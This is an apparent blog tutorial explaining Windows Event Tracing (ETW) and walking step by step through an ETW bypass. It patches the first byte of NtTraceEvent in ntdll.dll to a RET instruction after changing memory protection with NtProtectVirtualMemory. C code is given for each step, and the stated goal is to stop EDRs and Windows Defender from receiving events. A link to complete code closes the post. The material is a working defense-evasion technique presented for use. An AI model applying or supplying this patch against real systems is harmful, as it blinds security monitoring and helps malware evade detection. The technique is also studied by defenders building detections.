✧ ✧ ✧

Introduction

ETW is a mechanism that Windows uses to generate events in both user and kernel mode. Introduced in Windows 2000, it provides a mechanism for operating system components and applications to register events that can be consumed in real-time or logged for later analysis.

It operates on a model of three main components:

Providers: Components that generate events. These can be applications, drivers, or operating system components. Controllers: Components responsible for starting, stopping, and configuring tracing sessions. Consumers: Applications that read and process the events generated by providers.

ETW monitors a wide range of activities, including:

When an application or system component wants to generate an ETW event, the typical flow is:

Application/Provider
    ↓
EventWrite (Advapi32.dll)
    ↓
NtTraceEvent (Ntdll.dll)   <------ which we will explore
    ↓
Kernel Mode (Syscall)
    ↓
ETW Subsystem in Kernel
    ↓
Consumers (EDR, Defender, etc.)

The NtTraceEvent Function

NtTraceEvent is the function exported by ntdll.dll that serves as a gateway between user-mode and kernel-mode for ETW. It is a wrapper function that eventually makes a syscall to the kernel. In terms of assembly, a typical ntdll.dll function has this structure (simplified):

NtTraceEvent:
    mov r10, rcx          ; Parameter preparation
    mov eax, [syscall_id] ; Syscall ID
    syscall               ; Call to kernel
    ret                   ; Return

ntdll.dll is loaded into the user-mode memory space of each process. This means that a process has permission (with appropriate protections modified) to alter its own code in memory. Unlike kernel-mode, where there are more stringent protections like PatchGuard, user-mode allows processes to manipulate their own memory. A famous technique is to edit the first instruction of NtTraceEvent so that it returns immediately using the ret instruction in assembly, avoiding the syscall to the kernel.

So how can we do this at the code level?

ETW Bypass through NtTraceEvent Patching

As mentioned before, we need to obtain the NtTraceEvent function and modify its code to perform the bypass. We can do this as follows:

1. Obtaining the address of ntdll.dll

HMODULE hNtdll = GetModuleHandleA("ntdll.dll");

2. Obtaining the address of the NtTraceEvent function

void* ntTraceEventAddr = GetProcAddress(hNtdll, "NtTraceEvent");

3. Locating the address of the NtProtectVirtualMemory function so we can modify the write permissions for the NtTraceEvent function's memory.

pNtProtectVirtualMemory NtProtect = (pNtProtectVirtualMemory)GetProcAddress(hNtdll, "NtProtectVirtualMemory");

4. Changing the memory permissions of the NtTraceEvent function to PAGE_EXECUTE_READWRITE (Read, Write and Execute).

PVOID baseAddress = ntTraceEventAddr;
SIZE_T size = 1;
ULONG oldProtect = 0;

NTSTATUS status = NtProtect(GetCurrentProcess(), &baseAddress, &size, PAGE_EXECUTE_READWRITE, &oldProtect);

5. Overwriting the first byte of the NtTraceEvent function with 0xC3

*(unsigned char*)ntTraceEventAddr = 0xC3;

In machine language (x64 Assembly), 0xC3 is the 'RET' (Return) instruction. This causes any attempt to log an event to terminate immediately before it begins.

Thus we achieve the following flow:

NtTraceEvent:
    ret                   ; Simply returns immediately without executing further
    mov eax, [syscall_id] ; Not called
    syscall               ; Not called
    ret                   ; Not called

So when any consumer calls NtTraceEvent to log an ETW event, the function simply returns without making the syscall to the kernel, effectively preventing the ETW event from being recorded.

Therefore:

Application/Provider
    ↓
EventWrite (Advapi32.dll)
    ↓
NtTraceEvent (Ntdll.dll) <------- We cut the flow here
    ↓
Kernel Mode (Syscall)
    ↓
ETW Subsystem in Kernel
    ↓
Consumers (EDR, Defender, etc.)

And thus the application successfully prevents ETW events from being generated and captured by consumers such as EDRs and Windows Defender.

Complete code: https://github.com/dv00x1/_h0micide_etw

I Love God. Made by Daniel Andrade.

✧ Return